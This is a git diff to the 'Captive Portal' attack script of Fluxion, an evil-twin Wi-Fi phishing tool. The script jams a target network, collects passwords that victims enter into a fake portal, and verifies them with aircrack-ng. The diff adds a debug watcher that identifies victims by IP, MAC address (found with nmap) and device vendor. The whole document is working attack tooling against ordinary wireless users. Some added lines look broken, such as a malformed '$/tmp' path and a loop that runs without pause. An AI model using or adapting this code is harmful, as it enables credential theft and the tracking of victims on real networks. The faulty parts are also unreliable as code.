diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index f22f813..32e7638 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -5,7 +5,6 @@ CaptivePortalState="Not Ready" CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" -CaptivePortalIpLog="/tmp/fluxspace/ip_hits" CaptivePortalJamTime="9999999999999" CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") @@ -612,7 +611,7 @@ while [ \$AuthenticatorState = \"running\" ]; do # Save ips to file echo -e "$(if [ -f "$CaptivePortalIpLog" ];then cat "$CaptivePortalIpLog" | tail -n 1 | head -n 1; fi)\n" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC-IP.log\" - + # Clear logged password attempt. echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" fi @@ -623,26 +622,6 @@ while [ \$AuthenticatorState = \"running\" ]; do if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". if ! aircrack-ng -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" | grep -qi \"Passphrase not in\"; then - if [ -f "$CaptivePortalIpLog" ];then - MatchedClientIP=$(cat $CaptivePortalIpLog | tail -n 1 | head -n 1 ) - - if [ "$MatchedClientIP" != "" ];then - MatchedClientMAC=\$(nmap -PR -sn -n \$MatchedClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$MatchedClientMAC| wc -m)\" != \"18\" ]; then - MatchedClientMAC=\"xx:xx:xx:xx:xx:xx\" - fi - - VICTIM_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$MatchedClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - if echo \$MatchedClientMAC| grep -q x; then - VICTIM_FABRICANTE=\"unknown\" - fi - else - MatchedClientIP="Unknown" - MatchedClientMAC="Unknown" - fi - fi - echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" sleep 1 @@ -650,6 +629,7 @@ while [ \$AuthenticatorState = \"running\" ]; do else echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + fi fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi @@ -745,6 +725,38 @@ Mac: $MatchedClientMAC IP: $MatchedClientIP \" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" +echo " + while true; do + if [ -f "$/tmp/fluxspace/ip_hits" ];then + MatchedClientIP=$(cat $/tmp/fluxspace/ip_hits) + + if [ "$MatchedClientIP" != "" ];then + MatchedClientMAC=\$(nmap -PR -sn -n \$MatchedClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$MatchedClientMAC| wc -m)\" != \"18\" ]; then + MatchedClientMAC=\"xx:xx:xx:xx:xx:xx\" + fi + + VICTIM_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$MatchedClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + if echo \$MatchedClientMAC| grep -q x; then + VICTIM_FABRICANTE=\"unknown\" + fi + else + MatchedClientIP="Unknown" + MatchedClientMAC="Unknown" + fi + + echo "$MatchedClientIP $MatchedClientMAC $(cat $/tmp/fluxspace/ip_hits)" + + sleep 2 + fi + echo "File not found" + + done + +" >> "$FLUXIONWorkspacePath/watch_ip.sh" + +chmod +x "$FLUXIONWorkspacePath/watch_ip.sh" if [ $APRogueAuthMode = "hash" ]; then echo " @@ -1080,6 +1092,10 @@ function start_attack() { echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & + + # Debug + xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "Debug" -e "bash $FLUXIONWorkspacePath/watch_ip.sh" & + } # FLUXSCRIPT END